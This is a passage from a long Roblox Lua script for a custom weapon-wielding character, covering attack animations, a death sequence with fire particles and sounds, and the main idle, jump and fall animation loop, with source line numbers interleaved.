4404
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4405
end
4406
Trail:remove()
4407
end)()
4408
coroutine.wrap(function()
4409
for i = 1,10 do
4410
wait()
4411
Trail.Transparency = Trail.Transparency +0.1
4412
end end)()end end)()
4413
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4414
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4415
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) 
4416
    for i=0,1,0.08 do
4417
        swait()
4418
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4419
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4420
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4421
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
4422
        Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
4423
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
4424
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
4425
    end
4426
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4427
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4428
    for i=0,1,0.08 do
4429
        swait()
4430
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4431
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4432
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4433
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
4434
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
4435
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
4436
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
4437
    end
4438
    --dmgstop()
4439
    attack=false
4440
    con1:disconnect()
4441
    con2:disconnect()
4442
if TrailDeb == true then
4443
						TrailDeb = false
4444
end
4445
end
4446
4447
function Hai()
4448
    attack=true
4449
    Humanoid.WalkSpeed=0
4450
    so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
4451
    for i=0,1,0.1 do
4452
        swait()
4453
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4454
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4455
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4456
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4457
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4458
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4459
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4460
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4461
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4462
    end
4463
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) 
4464
for i=0,1,0.1 do
4465
        swait()
4466
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4467
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4468
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4469
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4470
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4471
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4472
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4473
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
4474
       	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4475
    end
4476
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4477
for i=0,1,0.1 do
4478
        swait()
4479
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4480
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4481
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4482
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4483
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4484
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4485
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4486
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4487
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4488
       
4489
    end
4490
so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
4491
for i=0,1,0.1 do
4492
        swait()
4493
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4494
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4495
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4496
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4497
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4498
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4499
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4500
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
4501
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4502
    end
4503
so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4504
for i=0,1,0.1 do
4505
        swait()
4506
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4507
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4508
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4509
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4510
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4511
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4512
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4513
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4514
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4515
    end
4516
    --dmgstop()
4517
    Humanoid.WalkSpeed=12
4518
    attack=false
4519
end
4520
4521
function Die()
4522
    attack=true
4523
Footsteps:Stop()
4524
Footsteps2:Stop()
4525
local Fire = it("Sound",Character.Torso)
4526
Fire.SoundId = "rbxassetid://192104941"
4527
Fire.Looped = true
4528
Fire.Pitch = 1
4529
Fire.Volume = 1
4530
local Fire2 = it("Sound",Handle2)
4531
Fire2.SoundId = "rbxassetid://192104941"
4532
Fire2.Looped = true
4533
Fire2.Pitch = 1
4534
Fire2.Volume = 1
4535
local Fire3 = it("Sound",Handle)
4536
Fire3.SoundId = "rbxassetid://192104941"
4537
Fire3.Looped = true
4538
Fire3.Pitch = 1
4539
Fire3.Volume = 1
4540
local Fire4 = it("Sound",handle)
4541
Fire4.SoundId = "rbxassetid://192104941"
4542
Fire4.Looped = true
4543
Fire4.Pitch = 1
4544
Fire4.Volume = 1
4545
local fire = Instance.new("ParticleEmitter", Character.Torso)
4546
fire.Lifetime = NumberRange.new(0.5)
4547
fire.Speed = NumberRange.new(1, 3)
4548
fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4549
fire.Rate = 0
4550
fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4551
fire.LightEmission = 0.6
4552
fire.Texture = "http://www.roblox.com/asset/?id=242911609"
4553
fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4554
local fire2 = Instance.new("ParticleEmitter", Handle)
4555
fire2.Lifetime = NumberRange.new(0.5)
4556
fire2.Speed = NumberRange.new(1, 3)
4557
fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4558
fire2.Rate = 0
4559
fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4560
fire2.LightEmission = 0.6
4561
fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
4562
fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4563
local fire3 = Instance.new("ParticleEmitter", Handle2)
4564
fire3.Lifetime = NumberRange.new(0.5)
4565
fire3.Speed = NumberRange.new(1, 3)
4566
fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4567
fire3.Rate = 0
4568
fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4569
fire3.LightEmission = 0.6
4570
fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
4571
fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4572
local fire4 = Instance.new("ParticleEmitter", handle)
4573
fire4.Lifetime = NumberRange.new(0.5)
4574
fire4.Speed = NumberRange.new(1, 3)
4575
fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4576
fire4.Rate = 0
4577
fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4578
fire4.LightEmission = 0.6
4579
fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
4580
fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4581
    Humanoid.WalkSpeed = 0
4582
    so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
4583
    so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
4584
    for i=0,1,0.08 do
4585
        swait()
4586
        Torso.Velocity=RootPart.CFrame.lookVector*-30
4587
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
4588
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
4589
        handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4590
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4591
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4592
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
4593
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
4594
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4595
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4596
    end
4597
    for i=0,1,0.005 do
4598
        swait()
4599
        light.Range=15-10*i
4600
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4601
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4602
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4603
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4604
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4605
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4606
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4607
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4608
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4609
    end
4610
light.Range=0
4611
    for i=0,1,0.01 do
4612
        swait()
4613
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4614
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4615
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4616
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4617
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4618
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4619
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4620
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4621
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4622
    end
4623
    so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
4624
    fire.Rate = 1000
4625
    fire2.Rate = 1000
4626
    fire3.Rate = 1000
4627
    fire4.Rate = 1000
4628
	Fire:Play()
4629
	Fire2:Play()
4630
	Fire3:Play()
4631
	Fire4:Play()
4632
    for i=0,1,0.005 do
4633
        swait()
4634
Character.Head.face.Transparency = 0+1*i
4635
LeftArm.Transparency=0+1*i
4636
RightArm.Transparency=0+1*i
4637
LeftLeg.Transparency=0+1*i
4638
RightLeg.Transparency=0+1*i
4639
Head.Transparency=0+1*i
4640
Torso.Transparency=0+1*i
4641
for _,v in pairs(Character:children()) do
4642
                if v:IsA("Hat") then
4643
                        v.Handle.Transparency = 0+1*i
4644
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4645
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4646
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4647
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4648
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4649
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4650
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4651
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4652
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4653
    end
4654
    end
4655
    --dmgstop()
4656
end
4657
Humanoid.Health = 0
4658
end
4659
4660
equipanim()
4661
4662
local sine = 0
4663
local change = 1
4664
local val = 0
4665
4666
local mananum=0
4667
while true do
4668
swait()
4669
sine = sine + change
4670
local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude 
4671
local velderp=RootPart.Velocity.y
4672
hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
4673
if equipped==true or equipped==false then
4674
if Anim=="Idle" and attack==false then
4675
idle=idle+1
4676
else
4677
idle=0
4678
end
4679
if Humanoid.Health <=20 then
4680
if attack == false then
4681
Humanoid.Health = math.huge
4682
Die()
4683
end
4684
end
4685
if idle>=1000 then
4686
if attack==false then
4687
--Sheath()
4688
end
4689
end
4690
if RootPart.Velocity.y > 1 and hitfloor==nil then 
4691
Anim="Jump"
4692
if attack==false then
4693
Footsteps:Stop()
4694
Footsteps2:Stop()
4695
Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
4696
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4697
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
4698
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
4699
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4700
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
4701
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4702
RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
4703
LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
4704
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
4705
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
4706
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
4707
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4708
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4709
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4710
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4711
end
4712
elseif RootPart.Velocity.y < -1 and hitfloor==nil then 
4713
Anim="Fall"
4714
if attack==false then
4715
Footsteps:Stop()
4716
Footsteps2:Stop()
4717
Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
4718
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4719
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
4720
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
4721
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4722
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
4723
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4724
RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
4725
LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
4726
handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4727
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
4728
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
4729
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4730
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4731
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4732
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4733
end
4734
elseif torvel<1 and hitfloor~=nil then
4735
Anim="Idle"
4736
change=0.5
4737
if idle>=1000 then
4738
if attack==false then
4739
Footsteps:Stop()
4740
Footsteps2:Stop()
4741
Humanoid.WalkSpeed=12
4742
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
4743
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
4744
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4745
RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
4746
LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
4747
RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4748
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
4749
handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
4750
Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4751
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4752
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4753
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4754
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4755
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4756
end
4757
else
4758
if attack==false then
4759
Footsteps:Stop()
4760
Footsteps2:Stop()
4761
Humanoid.WalkSpeed=12
4762
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
4763
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
4764
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4765
RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
4766
LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
4767
RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4768
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
4769
handleweld.C0=clerp(handleweld.C0,cf(0-1*math.cos(sine/40),0-0.5*math.cos(sine/20),0)*angles(math.rad(-5+5*math.cos(sine/20)),math.rad(0),math.rad(0)),.2)
4770
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1.5,0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4771
